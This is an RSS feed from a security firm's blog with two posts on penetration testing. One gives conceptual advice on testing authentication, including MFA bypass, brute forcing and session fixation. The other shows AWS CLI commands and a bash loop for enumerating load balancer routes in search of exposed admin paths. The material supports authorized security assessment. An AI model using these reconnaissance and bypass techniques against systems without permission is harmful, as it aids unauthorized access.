<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Virtue Security</title>
	<atom:link href="https://www.virtuesecurity.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.virtuesecurity.com/</link>
	<description></description>
	<lastBuildDate>Wed, 26 Mar 2025 09:13:28 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://www.virtuesecurity.com/wp-content/uploads/2024/12/4.4-Favicon-3D-1-300x300.png</url>
	<title>Virtue Security</title>
	<link>https://www.virtuesecurity.com/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Pentesting Authentication</title>
		<link>https://www.virtuesecurity.com/pentesting-authentication/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Fri, 18 Oct 2024 21:46:06 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=967</guid>

					<description><![CDATA[<p>Pentesting authentication is a critical step of any gray-box pentest. Here we review steps of how a pentest should assess these controls.</p>
<p>The post <a href="https://www.virtuesecurity.com/pentesting-authentication/">Pentesting Authentication</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Why Pentest Authentication?</h2>



<p>Authentication controls are the first line of defense to protect application data and functionality. For this reason, pentesting authentication is an essential step in safeguarding applications against breaches and unauthorized user activities. This critical phase of a <a href="https://www.virtuesecurity.com/black-box-vs-gray-box-vs-white-box-pentesting-explained/">gray box pentest</a> identifies vulnerabilities that could allow unauthorized users to access sensitive information.</p>



<p>Because there are so many types of authentication, each with its own complex set of features, this penetration testing stage can be challenging even for experienced pentesters. The following outlines key elements to consider when testing authentication systems.</p>



<h2 class="wp-block-heading">Authentication vs Authorization</h2>



<p>Understanding the difference between these two terms is essential as they are commonly conflated. Authentication is the process of verifying a user&#8217;s identity, ensuring that they are who they claim to be. Authorization, on the other hand, determines what level of access the authenticated user has to various resources or actions within the system. In other words, authentication answers the question, &#8220;Are you who you say you are?&#8221; while authorization answers, &#8220;What are you allowed to do?&#8221;</p>



<p>While these two terms overlap in concept, the methods of pentesting are distinctly different and will be covered separately.</p>



<h2 class="wp-block-heading">Authentication Types</h2>



<p>Web applications can implement various types of authentication, each with its own specific requirements for pentesting.</p>



<p>It’s also worth noting that authentication often overlaps with session management, meaning the authentication method will influence both the testing requirements and any associated limitations. The following sections break down common authentication methods and how they should be approached during pentesting.</p>



<h3 class="wp-block-heading">Basic Authentication</h3>



<p>This method, which relies on an encoded username and password, <a href="https://www.virtuesecurity.com/kb/pentesting-basic-authentication/">is widely recognized as inadequate</a> for secure applications. However, it remains typical for less sensitive systems.</p>



<h3 class="wp-block-heading">Cookie-Based Authentication</h3>



<p>Cookie-based authentication requires careful testing, with particular attention to the handoff mechanism between authentication and cookie session management. Understanding how to pentest cookie-based applications is important as these two functions have many shared test cases.</p>



<h3 class="wp-block-heading">Token-Based Authentication</h3>



<p>Many modern applications will use stateless JWTs to enforce authentication and authorization. Understanding the nuances of JWTs is important for pentesters as this standard is not only widely used but also implemented in many different ways.</p>



<h2 class="wp-block-heading">Soft Authentication</h2>



<p>Any seasoned pentester will be familiar with the woes of “soft authentication.”</p>



<p>For less sensitive applications, it&#8217;s often desirable to forgo the use of passwords and allow access based on tokens, codes, or other IDs. While convenient, these methods come with vulnerabilities that can be exploited if not properly implemented.</p>



<p>Soft authentication schemes may be used to protect things like:</p>



<ul class="wp-block-list">
<li>Online delivery tracking</li>



<li>Appointment confirmations</li>



<li>Shopping cart receipts</li>



<li>Shipping tracking details</li>
</ul>



<p>An application pentest should aim to understand if these controls can be defeated.</p>



<h2 class="wp-block-heading">Self-Registration</h2>



<p>Securing user self-registration on online platforms presents significant challenges. This feature is inherently susceptible to abuse, but an application pentest will highlight potential areas of weakness.</p>



<h3 class="wp-block-heading">Rate Limiting Signups</h3>



<p>Anti-automation technologies, such as CAPTCHA, are often the go-to solution for preventing bots from creating accounts. Pentesters should review functionality like registration to determine if such controls are necessary.</p>



<h2 class="wp-block-heading">Single Sign-On (SSO)</h2>



<p>SSO is frequently overlooked during pentesting, especially considering the difficulty involved with setting up test environments. But including a properly configured SSO-enabled environment can help identify vulnerabilities that allow user impersonation or bypass authentication.</p>



<h3 class="wp-block-heading">OAuth</h3>



<p>OAuth 2.0 is the most common technology used to federate major identity providers and enterprise identity. This handoff between parties must be tested to detect misconfigurations, token leakage, and insecure token handling.</p>



<h3 class="wp-block-heading">SAML</h3>



<p>SAML (Security Assertion Markup Language) standard for exchanging authentication and authorization data between two parties. SAML assertions must be properly validated to ensure users cannot bypass access controls and escalate privileges.</p>



<h2 class="wp-block-heading">Pentesting MFA</h2>



<p>Multi-factor Authentication (MFA, or 2FA) is the widely adopted standard for reducing the impact of credential stuffing attacks. But MFA solutions vary drastically in design, and attackers can often bypass seemingly simple controls.</p>



<h3 class="wp-block-heading">MFA Enforcement</h3>



<p>Simply prompting users for an MFA token doesn&#8217;t guarantee they can&#8217;t bypass security measures and access application functionality. MFA authentication systems often use a two-step process where intermediate session tokens are granted after a user provides their password (but before they have provided their MFA token). For this reason, pentesters should attempt to use any session tokens granted to access functionality without providing MFA credentials.</p>



<h3 class="wp-block-heading">MFA Brute Forcing</h3>



<p>Pentesters should test whether MFA tokens can be brute forced. The pentest must ensure that the login process is terminated once a reasonable threshold of MFA failures is reached.</p>



<h2 class="wp-block-heading">Other Authentication Vulnerabilities</h2>



<h3 class="wp-block-heading">Username Enumeration</h3>



<p><a href="https://www.virtuesecurity.com/kb/username-enumeration/">Unsername Enumeration</a> may exist on various types of functions, but system responses should be analyzed to ensure attackers cannot harvest sensitive data such as usernames.</p>



<h3 class="wp-block-heading">Weak Password Policy</h3>



<p>A pentest should evaluate the enforcement applicable password policies. If no specific policy is available, common standards such as NIST can be used. Testing should go a step further to try and bypass client-side controls that may be enforcing such policies.</p>



<h3 class="wp-block-heading">No Account Lockout</h3>



<p>Locking accounts, temporarily or permanently, should be used to mitigate password brute force attacks. Testing should assess the behavior and attempt to bypass this mechanism.</p>



<h3 class="wp-block-heading">Session Fixation</h3>



<p>After users are successfully authenticated, the application should give users a new random session identifier. This ensures that if a token was previously stolen, it cannot be used by other parties. This also prevents other attacks in which a malicious actor can force a user to employ a known session ID.</p>



<h3 class="wp-block-heading">Forgotten Password Functionality</h3>



<p>Login and logoff functions alone are rarely enough for modern applications. Forgotten password functionality, which allow users to reset their passwords, is crucial but often vulnerable to commonly overlooked security risks.</p>



<h2 class="wp-block-heading">Tailoring Pentests for Robust Authentication Security</h2>



<p>Pentesting authentication can vary significantly depending on the application, requiring pentesters to maintain both broad and in-depth expertise to thoroughly test all authentication schemes. The topics covered here serve as a foundational guide for pentesting web-based applications. Keep in mind that each customized feature demands tailored testing to ensure comprehensive security.</p>
<p>The post <a href="https://www.virtuesecurity.com/pentesting-authentication/">Pentesting Authentication</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1172</post-id>	</item>
		<item>
		<title>Pentesting ELBs &#8211; Where Vulnerabilities Hide in Plain Sight</title>
		<link>https://www.virtuesecurity.com/pentesting-elbs-where-vulnerabilities-hide-in-plain-sight/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Wed, 12 Jun 2024 14:23:04 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=943</guid>

					<description><![CDATA[<p>Vulnerabilities affecting ELBs can be easily overlooked. It's critical for pentesters to look out for these AWS features when analyzing an attack surface.</p>
<p>The post <a href="https://www.virtuesecurity.com/pentesting-elbs-where-vulnerabilities-hide-in-plain-sight/">Pentesting ELBs &#8211; Where Vulnerabilities Hide in Plain Sight</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>One of the hardest parts of AWS pentesting is accounting for the complexities of each service. This is especially true for Elastic Load Balancers (ELBs), which despite having a straightforward attack surface, still have several nuances that can create serious security vulnerabilities.</p>



<p>Even in mature environments, we frequently find application components unintentionally exposed via these mechanisms.</p>



<h2 class="wp-block-heading" id="h-what-are-elastic-load-balancers">What are Elastic Load Balancers?</h2>



<p>Load balancers are used to distribute network and application traffic to targets within an AWS workload. They provide an easy and scalable way to route traffic across multiple resources such as EC2, ECS, EKS and more.</p>



<h3 class="wp-block-heading" id="h-elb-vs-elbv2">ELB vs ELBv2</h3>



<p>ELBv2’s, also referred to as ALBs, provide a number of functional improvements over ELB “Classic” load balancers. These <a href="https://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html#application-load-balancer-benefits">new features</a> are a key focus of today’s topic.</p>



<p>Notable features include:</p>



<ul class="wp-block-list">
<li>Path-based routing.</li>



<li>Parameter based routing.</li>



<li>Hostname routing.</li>



<li>Source IP based routing</li>
</ul>



<h2 class="wp-block-heading" id="h-the-overlooked-attack-surface">The Overlooked Attack Surface</h2>



<p>ELBs support HTTP(S), Websocket, and TCP interfaces, but finding them all so they can be properly pentested can be tricky.</p>



<p>Failing to analyze ELBs is the first common mistake in AWS pentests. Listing IP addresses is not a sufficient way to pentest AWS workloads.</p>



<h3 class="wp-block-heading" id="h-a-first-step-to-analyze-elbs">A First Step to Analyze ELBs</h3>



<p>When creating an inventory of load balancers, it’s important to make sure of the following:</p>



<ul class="wp-block-list">
<li>List <em>both</em> <a href="https://docs.aws.amazon.com/cli/latest/reference/elb/describe-load-balancers.html">elb</a> and <a href="https://docs.aws.amazon.com/cli/latest/reference/elbv2/describe-listeners.html">elbv2</a> assets configured as public-facing.</li>



<li>List those assets in all other active regions.</li>



<li>Fully construct all listeners with <code>[scheme + elb + port]</code></li>
</ul>



<p>But we still have a few more important steps..</p>



<h2 class="wp-block-heading" id="h-extracting-virtual-hosts">Extracting Virtual Hosts</h2>



<p>It’s also critical to be aware that ALBs support host-based routing, effectively creating virtually-hosted applications. These can only be found by listing all ALBs and analyzing the rules associated with each listener.</p>



<p>One ALB can route traffic to multiple targets using names such as:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com
https://my-load-balancer.example.com
https://secret-admin-dashboard.example.com" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com</span></span>
<span class="line"><span style="color: #D4D4D4">https://my-load-balancer.example.com</span></span>
<span class="line"><span style="color: #D4D4D4">https://secret-admin-dashboard.example.com</span></span></code></pre></div>



<h2 class="wp-block-heading" id="h-listing-path-based-routes">Listing Path-based Routes</h2>



<p>In addition to host-based routes, ALBs support routing based on URL paths and query parameters. URL routes can be used to serve completely different targets in a workload:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com
https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/interesting-app/
https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/secret-admin-dashboard/" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com</span></span>
<span class="line"><span style="color: #D4D4D4">https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/interesting-app/</span></span>
<span class="line"><span style="color: #D4D4D4">https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/secret-admin-dashboard/</span></span></code></pre></div>



<h2 class="wp-block-heading" id="h-query-based-routing">Query-based Routing</h2>



<p>It&#8217;s also possible to create query-based routes as well as IP-based, so looking out for these lesser used options is important as well.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com
https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/?secret-admin-dashboard" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com</span></span>
<span class="line"><span style="color: #D4D4D4">https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/?secret-admin-dashboard</span></span></code></pre></div>



<h2 class="wp-block-heading" id="h-pentesting-elbs-the-right-way">Pentesting ELBs the Right Way</h2>



<p>With an understanding of these features, we can now properly include the assets into a pentest.</p>



<h3 class="wp-block-heading" id="h-list-all-classic-elbs">List all Classic ELBs</h3>



<p>Listing all ELBs is a region can be done simply with the following command:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="aws elb describe-load-balancers" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">aws</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">elb</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">describe-load-balancers</span></span></code></pre></div>



<p>Note: this must be combined with a script to execute in all available regions. More on that below.</p>



<h3 class="wp-block-heading" id="h-list-all-albs-listeners-and-rules">List all ALBs, Listeners, and Rules</h3>



<p>Listing all ALBs will follow the same process using classic ELB. However, several more steps are needed:</p>



<ul class="wp-block-list">
<li>List all load balancers</li>



<li>List all listeners for each load balancer</li>



<li>Describe rules for each listener <a href="https://docs.aws.amazon.com/cli/latest/reference/elbv2/describe-rules.html">https://docs.aws.amazon.com/cli/latest/reference/elbv2/describe-rules.html</a></li>
</ul>



<p>Here&#8217;s a basic script to perform the steps above:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="regions=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text --profile $profile)
for region in $regions; do
    echo &quot;Region: $region&quot;
    load_balancer_arns=$(aws elbv2 describe-load-balancers --region $region --query 'LoadBalancers[*].LoadBalancerArn' --output text --profile $profile)
    for lb_arn in $load_balancer_arns; do
        dns_name=$(aws elbv2 describe-load-balancers --region $region --load-balancer-arns $lb_arn --query 'LoadBalancers[*].DNSName' --output text --profile $profile)
        echo &quot;DNSName: $dns_name&quot;
        echo &quot;Load balancer ARN: $lb_arn&quot;
        listener_arns=$(aws elbv2 describe-listeners --region $region --load-balancer-arn $lb_arn --query 'Listeners[*].ListenerArn' --output text --profile $profile)
        for listener_arn in $listener_arns; do
            aws elbv2 describe-rules --region $region --listener-arn $listener_arn --profile $profile
        done
    done
done" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #9CDCFE">regions</span><span style="color: #D4D4D4">=</span><span style="color: #CE9178">$(</span><span style="color: #DCDCAA">aws</span><span style="color: #CE9178"> ec2 describe-regions </span><span style="color: #569CD6">--query</span><span style="color: #CE9178"> &#39;Regions[*].RegionName&#39; </span><span style="color: #569CD6">--output</span><span style="color: #CE9178"> text </span><span style="color: #569CD6">--profile</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$profile</span><span style="color: #CE9178">)</span></span>
<span class="line"><span style="color: #C586C0">for</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">region</span><span style="color: #D4D4D4"> </span><span style="color: #C586C0">in</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">$regions</span><span style="color: #D4D4D4">; </span><span style="color: #C586C0">do</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">echo</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;Region: </span><span style="color: #9CDCFE">$region</span><span style="color: #CE9178">&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">load_balancer_arns</span><span style="color: #D4D4D4">=</span><span style="color: #CE9178">$(</span><span style="color: #DCDCAA">aws</span><span style="color: #CE9178"> elbv2 describe-load-balancers </span><span style="color: #569CD6">--region</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$region</span><span style="color: #CE9178"> </span><span style="color: #569CD6">--query</span><span style="color: #CE9178"> &#39;LoadBalancers[*].LoadBalancerArn&#39; </span><span style="color: #569CD6">--output</span><span style="color: #CE9178"> text </span><span style="color: #569CD6">--profile</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$profile</span><span style="color: #CE9178">)</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">for</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">lb_arn</span><span style="color: #D4D4D4"> </span><span style="color: #C586C0">in</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">$load_balancer_arns</span><span style="color: #D4D4D4">; </span><span style="color: #C586C0">do</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">dns_name</span><span style="color: #D4D4D4">=</span><span style="color: #CE9178">$(</span><span style="color: #DCDCAA">aws</span><span style="color: #CE9178"> elbv2 describe-load-balancers </span><span style="color: #569CD6">--region</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$region</span><span style="color: #CE9178"> </span><span style="color: #569CD6">--load-balancer-arns</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$lb_arn</span><span style="color: #CE9178"> </span><span style="color: #569CD6">--query</span><span style="color: #CE9178"> &#39;LoadBalancers[*].DNSName&#39; </span><span style="color: #569CD6">--output</span><span style="color: #CE9178"> text </span><span style="color: #569CD6">--profile</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$profile</span><span style="color: #CE9178">)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">echo</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;DNSName: </span><span style="color: #9CDCFE">$dns_name</span><span style="color: #CE9178">&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #DCDCAA">echo</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">&quot;Load balancer ARN: </span><span style="color: #9CDCFE">$lb_arn</span><span style="color: #CE9178">&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">listener_arns</span><span style="color: #D4D4D4">=</span><span style="color: #CE9178">$(</span><span style="color: #DCDCAA">aws</span><span style="color: #CE9178"> elbv2 describe-listeners </span><span style="color: #569CD6">--region</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$region</span><span style="color: #CE9178"> </span><span style="color: #569CD6">--load-balancer-arn</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$lb_arn</span><span style="color: #CE9178"> </span><span style="color: #569CD6">--query</span><span style="color: #CE9178"> &#39;Listeners[*].ListenerArn&#39; </span><span style="color: #569CD6">--output</span><span style="color: #CE9178"> text </span><span style="color: #569CD6">--profile</span><span style="color: #CE9178"> </span><span style="color: #9CDCFE">$profile</span><span style="color: #CE9178">)</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">for</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">listener_arn</span><span style="color: #D4D4D4"> </span><span style="color: #C586C0">in</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">$listener_arns</span><span style="color: #D4D4D4">; </span><span style="color: #C586C0">do</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">aws</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">elbv2</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">describe-rules</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">--region</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">$region</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">--listener-arn</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">$listener_arn</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">--profile</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">$profile</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">done</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">done</span></span>
<span class="line"><span style="color: #C586C0">done</span></span></code></pre></div>



<h2 class="wp-block-heading" id="h-other-elb-vulnerabilities">Other ELB Vulnerabilities</h2>



<p>Care should also be taken to check load balancers for some other configuration issues.</p>



<h3 class="wp-block-heading" id="h-public-facing-load-balancer">Public-facing Load Balancer</h3>



<p>Application components can be unintentionally exposed to the internet via this misconfiguration. ELBs support two modes, public-facing and private, where public-facing</p>



<h3 class="wp-block-heading" id="h-alb-does-not-drop-invalid-headers">ALB Does not Drop Invalid Headers</h3>



<p>ALBs can be configured to normalize HTTP headers, adding a valuable security layer to prevent <a href="https://www.virtuesecurity.com/kb/http-request-smuggling-aws/">request smuggling attacks</a>. Failure to enable this feature (disabled by default) can lead to potential abuse of downstream application layer components.</p>



<figure class="wp-block-image is-resized"><img decoding="async" src="https://www.virtuesecurity.com/wp-content/uploads/2024/06/alb-drop-invalid-headers.png" alt="ALB Drop Invalid Headers" class="wp-image-944" style="width:auto;height:166px"/></figure>



<h3 class="wp-block-heading" id="h-weak-encryption-profile-supported">Weak Encryption Profile Supported</h3>



<p>TLS policies can be customized for HTTPS listeners. ALBs allow for a selection of pre-defined schemes, while classic ELBs allow for more custom policies. Each of these should be evaluated to ensure the protocols and ciphers use strong encryption.</p>



<figure class="wp-block-image is-resized"><img decoding="async" src="https://www.virtuesecurity.com/wp-content/uploads/2024/06/elb-encryption-settings.png" alt="ELB Encryption Settings" class="wp-image-945" style="width:auto;height:176px"/></figure>



<h3 class="wp-block-heading" id="h-failure-to-implement-logging">Failure to Implement Logging</h3>



<p>ALBs are a valuable point of visibility to audit potential abuse of application components. Logging traffic is strongly recommended for maintaining comprehensive audit logs.</p>



<h2 class="wp-block-heading" id="h-conclusion">Conclusion</h2>



<p>ELBs are just one of many AWS services commonly overlooked during security audits. Staying up to date on the nuances of each service is important to finding meaningful vulnerabilities in each workload.</p>



<p>For an overview of other AWS services, our <a href="https://www.virtuesecurity.com/aws-penetration-testing-essential-guidance/">complete guide</a> can provide a better view of other AWS pentesting topics.</p>
<p>The post <a href="https://www.virtuesecurity.com/pentesting-elbs-where-vulnerabilities-hide-in-plain-sight/">Pentesting ELBs &#8211; Where Vulnerabilities Hide in Plain Sight</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1171</post-id>	</item>
		<item>
		<title>A Pentester’s Guide to Input Validation</title>
		<link>https://www.virtuesecurity.com/a-pentesters-guide-to-input-validation/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Thu, 07 Mar 2024 06:38:29 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=921</guid>

					<description><![CDATA[<p>Input Validation is a fundamental concept of penetration testing. This guide is written for new pentesters and developers looking to bolster these core skills.</p>
